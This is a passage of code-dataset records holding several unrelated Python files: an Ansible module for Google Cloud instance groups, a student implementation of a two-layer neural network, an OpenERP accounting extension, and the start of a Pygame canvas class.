- The name of the instance group.\n - The name must be 1-63 characters long, and comply with RFC1035.\n required: false\n type: str\n named_ports:\n description:\n - Assigns a name to a port number.\n - 'For example: {name: \"http\", port: 80}.'\n - This allows the system to reference ports by the assigned name instead of a\n port number. Named ports can also contain multiple ports.\n - 'For example: [{name: \"http\", port: 80},{name: \"http\", port: 8080}] Named ports\n apply to all instances in this instance group.'\n required: false\n type: list\n suboptions:\n name:\n description:\n - The name for this named port.\n - The name must be 1-63 characters long, and comply with RFC1035.\n required: false\n type: str\n port:\n description:\n - The port number, which can be a value between 1 and 65535.\n required: false\n type: int\n network:\n description:\n - The network to which all instances in the instance group belong.\n - 'This field represents a link to a Network resource in GCP. It can be specified\n in two ways. First, you can place a dictionary with key ''selfLink'' and value\n of your resource''s selfLink Alternatively, you can add `register: name-of-resource`\n to a gcp_compute_network task and then set this network field to \"{{ name-of-resource\n }}\"'\n required: false\n type: dict\n region:\n description:\n - The region where the instance group is located (for regional resources).\n required: false\n type: str\n subnetwork:\n description:\n - The subnetwork to which all instances in the instance group belong.\n - 'This field represents a link to a Subnetwork resource in GCP. It can be specified\n in two ways. First, you can place a dictionary with key ''selfLink'' and value\n of your resource''s selfLink Alternatively, you can add `register: name-of-resource`\n to a gcp_compute_subnetwork task and then set this subnetwork field to \"{{ name-of-resource\n }}\"'\n required: false\n type: dict\n zone:\n description:\n - A reference to the zone where the instance group resides.\n required: true\n type: str\n instances:\n description:\n - The list of instances associated with this InstanceGroup.\n - All instances must be created before being added to an InstanceGroup.\n - All instances not in this list will be removed from the InstanceGroup and will\n not be deleted.\n - Only the full identifier of the instance will be returned.\n required: false\n type: list\n version_added: 2.8\nextends_documentation_fragment: gcp\n'''\n\nEXAMPLES = '''\n- name: create a network\n gcp_compute_network:\n name: network-instancegroup\n project: \"{{ gcp_project }}\"\n auth_kind: \"{{ gcp_cred_kind }}\"\n service_account_file: \"{{ gcp_cred_file }}\"\n state: present\n register: network\n\n- name: create a instance group\n gcp_compute_instance_group:\n name: test_object\n named_ports:\n - name: ansible\n port: 1234\n network: \"{{ network }}\"\n zone: us-central1-a\n project: test_project\n auth_kind: serviceaccount\n service_account_file: \"/tmp/auth.pem\"\n state: present\n'''\n\nRETURN = '''\ncreationTimestamp:\n description:\n - Creation timestamp in RFC3339 text format.\n returned: success\n type: str\ndescription:\n description:\n - An optional description of this resource. Provide this property when you create\n the resource.\n returned: success\n type: str\nid:\n description:\n - A unique identifier for this instance group.\n returned: success\n type: int\nname:\n description:\n - The name of the instance group.\n - The name must be 1-63 characters long, and comply with RFC1035.\n returned: success\n type: str\nnamedPorts:\n description:\n - Assigns a name to a port number.\n - 'For example: {name: \"http\", port: 80}.'\n - This allows the system to reference ports by the assigned name instead of a port\n number. Named ports can also contain multiple ports.\n - 'For example: [{name: \"http\", port: 80},{name: \"http\", port: 8080}] Named ports\n apply to all instances in this instance group.'\n returned: success\n type: complex\n contains:\n name:\n description:\n - The name for this named port.\n - The name must be 1-63 characters long, and comply with RFC1035.\n returned: success\n type: str\n port:\n description:\n - The port number, which can be a value between 1 and 65535.\n returned: success\n type: int\nnetwork:\n description:\n - The network to which all instances in the instance group belong.\n returned: success\n type: dict\nregion:\n description:\n - The region where the instance group is located (for regional resources).\n returned: success\n type: str\nsubnetwork:\n description:\n - The subnetwork to which all instances in the instance group belong.\n returned: success\n type: dict\nzone:\n description:\n - A reference to the zone where the instance group resides.\n returned: success\n type: str\ninstances:\n description:\n - The list of instances associated with this InstanceGroup.\n - All instances must be created before being added to an InstanceGroup.\n - All instances not in this list will be removed from the InstanceGroup and will\n not be deleted.\n - Only the full identifier of the instance will be returned.\n returned: success\n type: list\n'''\n\n################################################################################\n# Imports\n################################################################################\n\nfrom ansible.module_utils.gcp_utils import navigate_hash, GcpSession, GcpModule, GcpRequest, remove_nones_from_dict, replace_resource_dict\nimport json\nimport re\nimport time\n\n################################################################################\n# Main\n################################################################################\n\n\ndef main():\n \"\"\"Main function\"\"\"\n\n module = GcpModule(\n argument_spec=dict(\n state=dict(default='present', choices=['present', 'absent'], type='str'),\n description=dict(type='str'),\n name=dict(type='str'),\n named_ports=dict(type='list', elements='dict', options=dict(name=dict(type='str'), port=dict(type='int'))),\n network=dict(type='dict'),\n region=dict(type='str'),\n subnetwork=dict(type='dict'),\n zone=dict(required=True, type='str'),\n instances=dict(type='list', elements='dict'),\n )\n )\n\n if not module.params['scopes']:\n module.params['scopes'] = ['https://www.googleapis.com/auth/compute']\n\n state = module.params['state']\n kind = 'compute#instanceGroup'\n\n fetch = fetch_resource(module, self_link(module), kind)\n changed = False\n\n if fetch:\n if state == 'present':\n if is_different(module, fetch):\n update(module, self_link(module), kind)\n fetch = fetch_resource(module, self_link(module), kind)\n changed = True\n else:\n delete(module, self_link(module), kind)\n fetch = {}\n changed = True\n else:\n if state == 'present':\n fetch = create(module, collection(module), kind)\n changed = True\n else:\n fetch = {}\n\n if fetch:\n instance = InstanceLogic(module)\n instance.run()\n fetch.update({'instances': instance.list_instances()})\n fetch.update({'changed': changed})\n\n module.exit_json(**fetch)\n\n\ndef create(module, link, kind):\n auth = GcpSession(module, 'compute')\n return wait_for_operation(module, auth.post(link, resource_to_request(module)))\n\n\ndef update(module, link, kind):\n instance = InstanceLogic(module)\n instance.run()\n\n\ndef delete(module, link, kind):\n auth = GcpSession(module, 'compute')\n return wait_for_operation(module, auth.delete(link))\n\n\ndef resource_to_request(module):\n request = {\n u'kind': 'compute#instanceGroup',\n u'description': module.params.get('description'),\n u'name': module.params.get('name'),\n u'namedPorts': InstanceGroupNamedportsArray(module.params.get('named_ports', []), module).to_request(),\n u'network': replace_resource_dict(module.params.get(u'network', {}), 'selfLink'),\n u'region': region_selflink(module.params.get('region'), module.params),\n u'subnetwork': replace_resource_dict(module.params.get(u'subnetwork', {}), 'selfLink'),\n }\n return_vals = {}\n for k, v in request.items():\n if v or v is False:\n return_vals[k] = v\n\n return return_vals\n\n\ndef fetch_resource(module, link, kind, allow_not_found=True):\n auth = GcpSession(module, 'compute')\n return return_if_object(module, auth.get(link), kind, allow_not_found)\n\n\ndef self_link(module):\n return \"https://www.googleapis.com/compute/v1/projects/{project}/zones/{zone}/instanceGroups/{name}\".format(**module.params)\n\n\ndef collection(module):\n return \"https://www.googleapis.com/compute/v1/projects/{project}/zones/{zone}/instanceGroups\".format(**module.params)\n\n\ndef return_if_object(module, response, kind, allow_not_found=False):\n # If not found, return nothing.\n if allow_not_found and response.status_code == 404:\n return None\n\n # If no content, return nothing.\n if response.status_code == 204:\n return None\n\n try:\n module.raise_for_status(response)\n result = response.json()\n except getattr(json.decoder, 'JSONDecodeError', ValueError):\n module.fail_json(msg=\"Invalid JSON response with error: %s\" % response.text)\n\n if navigate_hash(result, ['error', 'errors']):\n module.fail_json(msg=navigate_hash(result, ['error', 'errors']))\n\n return result\n\n\ndef is_different(module, response):\n request = resource_to_request(module)\n response = response_to_hash(module, response)\n\n # Remove all output-only from response.\n response_vals = {}\n for k, v in response.items():\n if k in request:\n response_vals[k] = v\n\n request_vals = {}\n for k, v in request.items():\n if k in response:\n request_vals[k] = v\n\n return GcpRequest(request_vals) != GcpRequest(response_vals)\n\n\n# Remove unnecessary properties from the response.\n# This is for doing comparisons with Ansible's current parameters.\ndef response_to_hash(module, response):\n return {\n u'creationTimestamp': response.get(u'creationTimestamp'),\n u'description': response.get(u'description'),\n u'id': response.get(u'id'),\n u'name': response.get(u'name'),\n u'namedPorts': InstanceGroupNamedportsArray(response.get(u'namedPorts', []), module).from_response(),\n u'network': response.get(u'network'),\n u'region': response.get(u'region'),\n u'subnetwork': response.get(u'subnetwork'),\n }\n\n\ndef region_selflink(name, params):\n if name is None:\n return\n url = r\"https://www.googleapis.com/compute/v1/projects/.*/regions/.*\"\n if not re.match(url, name):\n name = \"https://www.googleapis.com/compute/v1/projects/{project}/regions/%s\".format(**params) % name\n return name\n\n\ndef async_op_url(module, extra_data=None):\n if extra_data is None:\n extra_data = {}\n url = \"https://www.googleapis.com/compute/v1/projects/{project}/zones/{zone}/operations/{op_id}\"\n combined = extra_data.copy()\n combined.update(module.params)\n return url.format(**combined)\n\n\ndef wait_for_operation(module, response):\n op_result = return_if_object(module, response, 'compute#operation')\n if op_result is None:\n return {}\n status = navigate_hash(op_result, ['status'])\n wait_done = wait_for_completion(status, op_result, module)\n return fetch_resource(module, navigate_hash(wait_done, ['targetLink']), 'compute#instanceGroup')\n\n\ndef wait_for_completion(status, op_result, module):\n op_id = navigate_hash(op_result, ['name'])\n op_uri = async_op_url(module, {'op_id': op_id})\n while status != 'DONE':\n raise_if_errors(op_result, ['error', 'errors'], module)\n time.sleep(1.0)\n op_result = fetch_resource(module, op_uri, 'compute#operation', False)\n status = navigate_hash(op_result, ['status'])\n return op_result\n\n\ndef raise_if_errors(response, err_path, module):\n errors = navigate_hash(response, err_path)\n if errors is not None:\n module.fail_json(msg=errors)\n\n\nclass InstanceLogic(object):\n def __init__(self, module):\n self.module = module\n self.current_instances = self.list_instances()\n self.module_instances = []\n\n # Transform module list of instances (dicts of instance responses) into a list of selfLinks.\n instances = self.module.params.get('instances')\n if instances:\n for instance in instances:\n self.module_instances.append(replace_resource_dict(instance, 'selfLink'))\n\n def run(self):\n # Find all instances to add and add them\n instances_to_add = list(set(self.module_instances) - set(self.current_instances))\n if instances_to_add:\n self.add_instances(instances_to_add)\n\n # Find all instances to remove and remove them\n instances_to_remove = list(set(self.current_instances) - set(self.module_instances))\n if instances_to_remove:\n self.remove_instances(instances_to_remove)\n\n def list_instances(self):\n auth = GcpSession(self.module, 'compute')\n response = return_if_object(self.module, auth.post(self._list_instances_url(), {'instanceState': 'ALL'}), 'compute#instanceGroupsListInstances')\n\n # Transform instance list into a list of selfLinks for diffing with module parameters\n instances = []\n for instance in response.get('items', []):\n instances.append(instance['instance'])\n return instances\n\n def add_instances(self, instances):\n auth = GcpSession(self.module, 'compute')\n wait_for_operation(self.module, auth.post(self._add_instances_url(), self._build_request(instances)))\n\n def remove_instances(self, instances):\n auth = GcpSession(self.module, 'compute')\n wait_for_operation(self.module, auth.post(self._remove_instances_url(), self._build_request(instances)))\n\n def _list_instances_url(self):\n return \"https://www.googleapis.com/compute/v1/projects/{project}/zones/{zone}/instanceGroups/{name}/listInstances\".format(**self.module.params)\n\n def _remove_instances_url(self):\n return \"https://www.googleapis.com/compute/v1/projects/{project}/zones/{zone}/instanceGroups/{name}/removeInstances\".format(**self.module.params)\n\n def _add_instances_url(self):\n return \"https://www.googleapis.com/compute/v1/projects/{project}/zones/{zone}/instanceGroups/{name}/addInstances\".format(**self.module.params)\n\n def _build_request(self, instances):\n request = {'instances': []}\n for instance in instances:\n request['instances'].append({'instance': instance})\n return request\n\n\nclass InstanceGroupNamedportsArray(object):\n def __init__(self, request, module):\n self.module = module\n if request:\n self.request = request\n else:\n self.request = []\n\n def to_request(self):\n items = []\n for item in self.request:\n items.append(self._request_for_item(item))\n return items\n\n def from_response(self):\n items = []\n for item in self.request:\n items.append(self._response_from_item(item))\n return items\n\n def _request_for_item(self, item):\n return remove_nones_from_dict({u'name': item.get('name'), u'port': item.get('port')})\n\n def _response_from_item(self, item):\n return remove_nones_from_dict({u'name': item.get(u'name'), u'port': item.get(u'port')})\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"env/lib/python3.9/site-packages/ansible/modules/cloud/google/gcp_compute_instance_group.py","file_name":"gcp_compute_instance_group.py","file_ext":"py","file_size_in_byte":17868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"618613679","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef init_two_layer_model(input_size, hidden_size, output_size):\n \"\"\"\n Initialize the weights and biases for a two-layer fully connected neural\n network. The net has an input dimension of D, a hidden layer dimension of H,\n and performs classification over C classes. Weights are initialized to small\n random values and biases are initialized to zero.\n\n Inputs:\n - input_size: The dimension D of the input data\n - hidden_size: The number of neurons H in the hidden layer\n - ouput_size: The number of classes C\n\n Returns:\n A dictionary mapping parameter names to arrays of parameter values. It has\n the following keys:\n - W1: First layer weights; has shape (D, H)\n - b1: First layer biases; has shape (H,)\n - W2: Second layer weights; has shape (H, C)\n - b2: Second layer biases; has shape (C,)\n \"\"\"\n # initialize a model\n model = {}\n model['W1'] = 0.00001 * np.random.randn(input_size, hidden_size)\n model['b1'] = np.zeros(hidden_size)\n model['W2'] = 0.00001 * np.random.randn(hidden_size, output_size)\n model['b2'] = np.zeros(output_size)\n return model\n\ndef two_layer_net(X, model, y=None, reg=0.0):\n \"\"\"\n Compute the loss and gradients for a two layer fully connected neural network.\n The net has an input dimension of D, a hidden layer dimension of H, and\n performs classification over C classes. We use a softmax loss function and L2\n regularization the the weight matrices. The two layer net should use a ReLU\n nonlinearity after the first affine layer.\n\n The two layer net has the following architecture:\n\n input - fully connected layer - ReLU - fully connected layer - softmax\n\n The outputs of the second fully-connected layer are the scores for each\n class.\n\n Inputs:\n - X: Input data of shape (N, D). Each X[i] is a training sample.\n - model: Dictionary mapping parameter names to arrays of parameter values.\n It should contain the following:\n - W1: First layer weights; has shape (D, H)\n - b1: First layer biases; has shape (H,)\n - W2: Second layer weights; has shape (H, C)\n - b2: Second layer biases; has shape (C,)\n - y: Vector of training labels. y[i] is the label for X[i], and each y[i] is\n an integer in the range 0 <= y[i] < C. This parameter is optional; if it\n is not passed then we only return scores, and if it is passed then we\n instead return the loss and gradients.\n - reg: Regularization strength.\n\n Returns:\n If y not is passed, return a matrix scores of shape (N, C) where scores[i, c]\n is the score for class c on input X[i].\n\n If y is not passed, instead return a tuple of:\n - loss: Loss (data loss and regularization loss) for this batch of training\n samples.\n - grads: Dictionary mapping parameter names to gradients of those parameters\n with respect to the loss function. This should have the same keys as model.\n \"\"\"\n\n\n # unpack variables from the model dictionary\n W1,b1,W2,b2 = model['W1'], model['b1'], model['W2'], model['b2']\n N, D = X.shape\n\n # compute the forward pass\n scores = None\n #############################################################################\n # TODO: Perform the forward pass, computing the class scores for the input. #\n # Store the result in the scores variable, which should be an array of #\n # shape (N, C). #\n #############################################################################\n out_1=np.matmul(X,W1)+b1\n out_1[np.where(out_1<0)]=0\n dot_pr=np.matmul(out_1,W2)+b2\n pass\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################\n \n # If the targets are not given then jump out, we're done\n if y is None:\n scores=dot_pr\n return scores\n\n # compute the loss\n\n #############################################################################\n # TODO: Finish the forward pass, and compute the loss. This should include #\n # both the data loss and L2 regularization for W1 and W2. Store the result #\n # in the variable loss, which should be a scalar. Use the Softmax #\n # classifier loss. So that your results match ours, multiply the #\n # regularization loss by 0.5 #\n #############################################################################\n loss = None\n #norm_term = np.max(dot_pr, axis=0)\n #dot_pr = dot_pr - norm_term\n pred = np.exp(dot_pr)\n softmax = pred / np.sum(pred, axis=1).reshape(-1,1)\n\n true_pred = -np.log(np.asarray([softmax[i][y[i]] for i in range(len(y))]))\n loss = np.sum(true_pred) / len(y) + 0.5*reg *(np.sum(np.square(W2)) + np.sum(np.square(W1)))\n\n pass\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################\n\n # compute the gradients\n #############################################################################\n # TODO: Compute the backward pass, computing the derivatives of the weights #\n # and biases. Store the results in the grads dictionary. For example, #\n # grads['W1'] should store the gradient on W1, and be a matrix of same size #\n #############################################################################\n grads = {}\n softmax_copy = softmax.copy()\n softmax_copy[range(len(y)),y] -= 1\n grads['W2'] = np.dot(out_1.T,softmax_copy) / len(y) + reg * W2\n grads['b2'] = np.sum(softmax_copy,axis=0)/len(y)\n relu_grad= np.zeros_like(out_1)\n relu_grad[out_1>0]=1\n #grads['W1'] = (np.dot(relu_grad.T,X )*np.dot(W2,np.sum(softmax_copy.T,axis=1)).reshape(-1,1)).T/len(y) + reg*W1\n grads['W1'] = np.dot(X.T,np.multiply(np.dot(softmax_copy,W2.T),relu_grad))/len(y)+ reg*W1\n grads['b1'] = np.sum(np.multiply(np.dot(softmax_copy,W2.T),relu_grad),axis=0)/len(y)\n\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################\n\n return loss, grads\n\n\ninput_size = 4\nhidden_size = 10\nnum_classes = 3\n\nnum_inputs = 5\n\ndef init_toy_model():\n model = {}\n model['W1'] = np.linspace(-0.2, 0.6, num=input_size*hidden_size).reshape(input_size, hidden_size)\n model['b1'] = np.linspace(-0.3, 0.7, num=hidden_size)\n model['W2'] = np.linspace(-0.4, 0.1, num=hidden_size*num_classes).reshape(hidden_size, num_classes)\n model['b2'] = np.linspace(-0.5, 0.9, num=num_classes)\n return model\n\ndef init_toy_data():\n X = np.linspace(-0.2, 0.5, num=num_inputs*input_size).reshape(num_inputs, input_size)\n y = np.array([0, 1, 2, 2, 1])\n return X, y\n\nmodel = init_toy_model()\nX, y = init_toy_data()\n\nscores = two_layer_net(X, model)\nprint(scores)\ncorrect_scores = [[-0.5328368, 0.20031504, 0.93346689],\n [-0.59412164, 0.15498488, 0.9040914 ],\n [-0.67658362, 0.08978957, 0.85616275],\n [-0.77092643, 0.01339997, 0.79772637],\n [-0.89110401, -0.08754544, 0.71601312]]\n\n# the difference should be very small. We get 3e-8\nprint('Difference between your scores and correct scores:')\nprint(np.sum(np.abs(scores - correct_scores)))\nreg = 0.1\nloss, _ = two_layer_net(X, model, y, reg)\ncorrect_loss = 1.38191946092\n\n# should be very small, we get 5e-12\nprint('Difference between your loss and correct loss:')\nprint(np.sum(np.abs(loss - correct_loss)))\nloss, grads = two_layer_net(X, model, y, reg)\n","sub_path":"1_cs231n/cs231n/classifiers/neural_net.py","file_name":"neural_net.py","file_ext":"py","file_size_in_byte":7633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"193153552","text":"# -*- coding: utf-8 -*-\nfrom osv import osv, fields\n\nclass jmdaccounts(osv.Model):\n _name= \"account.sat\"\n _columns = {\n 'name': fields.char(string=\"Nombre\"),\n 'codigo': fields.char(string=\"Codigo\"),\n }\n\n\nclass jmdaccount(osv.Model):\n _inherit = \"account.account\"\n\n def setParents(self, cr, uid, ids, context=\"None\"):\n print(\"Here\")\n ret = {}\n count = 0\n parent = \"3963\"\n for i in self.browse(cr, uid, self.search(cr, uid, []), context=None):\n count += 1\n if count >= 20:\n return ret\n print((\"Modificando cuenta \" + str(i.name) + str(i.code)))\n parent = 3963\n if i.id == parent:\n print(\"Skip\")\n continue\n if i.name == \"Estadistica\":\n continue\n if len(i.code) >= 9:\n parent_code = i.code[:-5]\n for j in self.browse(cr, uid, self.search(cr, uid, [('code', '=', parent_code)]), context=None):\n print(\"Encontrado \" + str(j.code) + \" pare de \" + str(i.code) + \" ID \" +str(i.id) )\n parent = j.id\n print(\"Id de la cuenta \" + str(i.id))\n self.write(cr, uid, i.id, {'parent_id': parent})\n print(\"Nunca llega aqui\")\n return ret\n\n _columns = {\n 'balanza': fields.boolean(string=\"Balanza de Comprobación\"),\n 'resultados': fields.boolean(string=\"Estado de Resultados\"),\n 'balance_general': fields.boolean(string=\"Balance General\"),\n 'codigo_sat': fields.many2one(\"account.sat\", string=\"Codigo SAT\"),\n 'sat': fields.char(\"Código Agrupador SAT\")\n }\n\n\nclass jmdpoliza(osv.Model):\n _inherit = \"account.move\"\n\n def esta_cuadrada(self, cr, uid, ids, fieldname, args, context=None):\n ret = {}\n for i in self.browse(cr, uid, ids, context):\n ret[i.id] = False\n for j in i.line_id:\n if j.state is \"valid\":\n ret[i.id] = True\n return ret\n\n _columns = {\n 'field': fields.function(esta_cuadrada,\n string=\"Cuadrada\", type=\"boolean\")\n }\n\n _defaults = {\n 'ref': lambda self, cr, uid, context={}: self.pool.get\n ('ir.sequence').get(cr, uid, 'ea.poliza')\n }\n","sub_path":"ea_jmd/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"221289958","text":"# -*- coding: latin-1 -*-\n\n\"\"\"\nsimpleguics2pygame module: simpleguics2pygame/canvas.\n\nClass Canvas.\n\nPiece of SimpleGUICS2Pygame.\nhttps://bitbucket.org/OPiMedia/simpleguics2pygame\n\n:license: GPLv3 --- Copyright (C) 2015-2016, 2020 Olivier Pirson\n:author: Olivier Pirson --- http://www.opimedia.be/\n:version: November 29, 2020\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import print_function\n\n# print('IMPORT', __name__)\n\n\nimport math\nimport os.path\nimport re\nimport sys\n\n\n__all__ = ('Canvas',\n 'create_invisible_canvas')\n\n\ntry:\n from typing import Any, Callable, List, Optional, Sequence, Tuple, Union # noqa\nexcept ImportError:\n pass\n\nimport pygame\n\nfrom SimpleGUICS2Pygame.simpleguics2pygame._colors import _SIMPLEGUICOLOR_TO_PYGAMECOLOR, _simpleguicolor_to_pygamecolor # pylint: disable=wrong-import-position,no-name-in-module,ungrouped-imports # noqa\nfrom SimpleGUICS2Pygame.simpleguics2pygame._fonts import _SIMPLEGUIFONTFACE_TO_PYGAMEFONTNAME, _simpleguifontface_to_pygamefont # pylint: disable=wrong-import-position,no-name-in-module,ungrouped-imports # noqa\nfrom SimpleGUICS2Pygame.simpleguics2pygame.image import Image # pylint: disable=wrong-import-position,no-name-in-module,ungrouped-imports # noqa\n\n\n#\n# Private global constants\n##########################\n_RADIAN_TO_DEGREE = 180 / math.pi\n\"\"\"\nMultiplicative constant to convert radian to degree.\n\"\"\"\n\n\n_RE_UNPRINTABLE_WHITESPACE_CHAR = re.compile('[\\t\\n\\r\\f\\v]')\n\"\"\"\nRegular expression pattern to unprintable whitespace character.\n\"\"\"\n\n\n#\n# \"Private\" function\n####################\ndef _pos_round(position):\n # type: (Sequence[Union[int, float]]) -> Tuple[int, int]\n \"\"\"\n Return the rounded `position`.\n\n **Don't require Pygame.**\n\n **(Not available in SimpleGUI of CodeSkulptor.)**\n\n :param position: (int or float, int or float)\n or [int or float, int or float]\n\n :return: (int, int)\n \"\"\"\n assert isinstance(position, (tuple, list)), type(position)\n assert len(position) == 2, len(position)\n assert isinstance(position[0], (int, float)), type(position[0])\n assert isinstance(position[1], (int, float)), type(position[1])\n\n return (int(round(position[0])), int(round(position[1])))\n\n\n#\n# Class\n#######\nclass Canvas:\n \"\"\"Canvas similar to SimpleGUI `Canvas` of CodeSkulptor.\"\"\"\n\n _background_pygame_color = _SIMPLEGUICOLOR_TO_PYGAMECOLOR['black']\n \"\"\"Default `pygame.Color` of the background of the canvas.\"\"\"\n\n _bg_pygame_surface_image = None # type: Optional[pygame.surface.Surface]\n \"\"\"\n `pygame.surface.Surface` default background image\n replaces `_background_pygame_color`.\n \"\"\"\n\n def __init__(self,\n frame,\n canvas_width, canvas_height):\n # type: (Optional[pygame.Frame], int, int) -> None # noqa\n \"\"\"\n Set the canvas.\n\n **Don't use directly**, a canvas is created by `Frame()`\n and reachable by handler defined by `Frame.set_draw_handler()`.\n\n :param frame: Frame (or None)\n :param canvas_width: int >= 0\n :param canvas_height: int >= 0\n \"\"\"\n assert isinstance(canvas_width, int), type(canvas_width)\n assert canvas_width >= 0, canvas_width\n\n assert isinstance(canvas_height, int), type(canvas_height)\n assert canvas_height >= 0, canvas_height\n\n self._frame_parent = frame\n\n self._width = canvas_width\n self._height = canvas_height\n\n self._background_pygame_color = Canvas._background_pygame_color\n\n self._draw_handler = None # type: Optional[Callable[[Canvas], Any]]\n\n self._pygame_surface = pygame.surface.Surface((canvas_width, canvas_height)) # pylint: disable=too-many-function-args # noqa\n\n def __repr__(self): # type: () -> str\n \"\"\"\n Return `''`.\n\n :return: str\n \"\"\"\n return ''\n\n def _draw(self): # type: () -> None\n \"\"\"\n If `self._draw_handler` != `None`\n then call it and update display of the canvas.\n\n **(Not available in SimpleGUI of CodeSkulptor.)**\n \"\"\"\n if ((self._draw_handler is not None) and\n (self._frame_parent is not None)):\n if self._bg_pygame_surface_image is None:\n if self._background_pygame_color.a == 255:\n # Without alpha\n self._pygame_surface.fill(self._background_pygame_color)\n elif self._background_pygame_color.a > 0:\n # With alpha (not null)\n s_alpha = pygame.surface.Surface((self._width, self._height), # pylint: disable=too-many-function-args # noqa\n pygame.SRCALPHA) # pylint: disable=no-member # noqa\n s_alpha.fill(self._background_pygame_color)\n self._pygame_surface.blit(s_alpha, (0, 0))\n else:\n self._pygame_surface.blit(\n self._bg_pygame_surface_image, (0, 0))\n\n self._draw_handler(self)\n\n if self._frame_parent._display_fps_average: # pylint: disable=protected-access # noqa\n self._pygame_surface.blit(\n _simpleguifontface_to_pygamefont(None, 40)\n .render(str(int(round(self._frame_parent._fps_average))), # pylint: disable=protected-access # noqa\n True,\n _SIMPLEGUICOLOR_TO_PYGAMECOLOR['red']),\n (10, self._height - 40))\n\n self._frame_parent._pygame_surface.blit( # pylint: disable=protected-access # noqa\n self._pygame_surface,\n (self._frame_parent._canvas_x_offset, # pylint: disable=protected-access # noqa\n self._frame_parent._canvas_y_offset)) # pylint: disable=protected-access # noqa\n\n pygame.display.update((self._frame_parent._canvas_x_offset, # pylint: disable=protected-access # noqa\n self._frame_parent._canvas_y_offset, # pylint: disable=protected-access # noqa\n self._width, # pylint: disable=protected-access # noqa\n self._height)) # pylint: disable=protected-access # noqa\n\n def _save(self, filename): # type: (str) -> None\n \"\"\"\n Save the canvas in `filename`.\n\n Supported formats are supported formats by Pygame to save:\n TGA, PNG, JPEG or BMP\n (see https://www.pygame.org/docs/ref/image.html#pygame.image.save ).\n\n If `filename` extension is not recognized\n then TGA format is used.\n\n **(Not available in SimpleGUI of CodeSkulptor.)**\n\n :param filename: str\n \"\"\"\n assert isinstance(filename, str), type(filename)\n\n filename = os.path.abspath(os.path.expanduser(filename))\n pygame.image.save(self._pygame_surface, filename)\n\n def draw_arc(self, # pylint: disable=too-many-arguments\n center_point, radius,\n start_angle, end_angle,\n line_width, line_color):\n # type: (Sequence[Union[int, float]], Union[int, float], Union[int, float], Union[int, float], Union[int, float], str) -> None # noqa\n \"\"\"\n Draw an arc of circle, from `start_angle` to `end_angle`.\n Angles given in radians are clockwise\n and start from 0 at the 3 o'clock position.\n\n (Available in CodeSkulptor3 but *not in CodeSkulptor 2*!)\n\n :param center_point: (int or float, int or float)\n or [int or float, int or float]\n :param radius: (int or float) > 0\n :param start_angle: int or float\n :param end_angle: int or float\n :param line_width: (int or float) > 0\n :param line_color: str\n \"\"\"\n assert isinstance(center_point, (tuple, list)), type(center_point)\n assert len(center_point) == 2, len(center_point)\n assert isinstance(center_point[0], (int, float)), type(center_point[0])\n assert isinstance(center_point[1], (int, float)), type(center_point[1])\n\n assert isinstance(radius, (int, float)), type(radius)\n assert radius > 0, radius\n\n assert isinstance(start_angle, (int, float)), (start_angle)\n assert isinstance(end_angle, (int, float)), type(end_angle)\n\n assert isinstance(line_width, (int, float)), type(line_width)\n assert line_width > 0, line_width\n\n assert isinstance(line_color, str), type(line_color)\n\n line_width = (1 if line_width <= 1\n else int(round(line_width)))\n\n radius = int(round(radius)) + int(round(line_width // 2))\n\n # Adapt Codeskulptor angles to Pygame\n if start_angle == end_angle:\n return\n\n start_angle = -start_angle\n end_angle = -end_angle\n start_angle, end_angle = end_angle, start_angle\n\n double_pi = math.pi * 2\n start_angle %= double_pi\n end_angle %= double_pi\n\n if start_angle == end_angle:\n return\n\n # Draw\n if radius > 1:\n pygamecolor = _simpleguicolor_to_pygamecolor(line_color)\n\n if pygamecolor.a > 0:\n diameter = radius * 2\n s_tmp = pygame.surface.Surface((diameter, diameter), # pylint: disable=too-many-function-args # noqa\n pygame.SRCALPHA) # pylint: disable=no-member # noqa\n\n pygame.draw.arc(s_tmp, pygamecolor,\n s_tmp.get_rect(),\n start_angle, end_angle,\n min(line_width, radius))\n\n self._pygame_surface.blit(s_tmp,\n (center_point[0] - radius,\n center_point[1] - radius))\n elif radius > 0: # == 1\n self.draw_point(center_point, line_color)\n\n def draw_circle(self, # pylint: disable=too-many-arguments\n center_point, radius,\n line_width, line_color,\n fill_color=None):\n # type: (Sequence[Union[int, float]], Union[int, float], Union[int, float], str, Optional[str]) -> None # noqa\n \"\"\"\n Draw a circle.\n\n If `fill_color` != `None`\n then fill with this color.\n\n :param center_point: (int or float, int or float)\n or [int or float, int or float]\n :param radius: (int or float) > 0\n :param line_width: (int or float) > 0\n :param line_color: str\n :param fill_color: None or str\n \"\"\"\n assert isinstance(center_point, (tuple, list)), type(center_point)\n assert len(center_point) == 2, len(center_point)\n assert isinstance(center_point[0], (int, float)), type(center_point[0])\n assert isinstance(center_point[1], (int, float)), type(center_point[1])\n\n assert isinstance(radius, (int, float)), type(radius)\n assert radius > 0, radius\n\n assert isinstance(line_width, (int, float)), type(line_width)\n assert line_width > 0, line_width\n\n assert isinstance(line_color, str), type(line_color)\n assert (fill_color is None) or isinstance(fill_color, str), \\\n type(fill_color)\n\n line_width = (1 if line_width <= 1\n else int(round(line_width)))\n\n radius = int(round(radius)) + int(round(line_width // 2))\n\n if radius > 1:\n pygamecolor = _simpleguicolor_to_pygamecolor(line_color)\n pygamefillcolor = (None if fill_color is None\n else _simpleguicolor_to_pygamecolor(fill_color))\n\n center_point_rounded = _pos_round(center_point)\n\n if ((pygamecolor.a == 255) and\n ((pygamefillcolor is None) or (pygamefillcolor.a == 255))):\n # Without alpha\n if pygamefillcolor is not None:\n pygame.draw.circle(self._pygame_surface, pygamefillcolor,\n center_point_rounded, radius,\n 0)\n if pygamecolor != pygamefillcolor:\n pygame.draw.circle(self._pygame_surface, pygamecolor,\n center_point_rounded, radius,\n min(line_width, radius))\n elif ((pygamecolor.a > 0) or\n ((pygamefillcolor is not None) and (pygamefillcolor.a > 0))):\n # With one or two alpha (not null)\n diameter = radius * 2\n s_alpha = 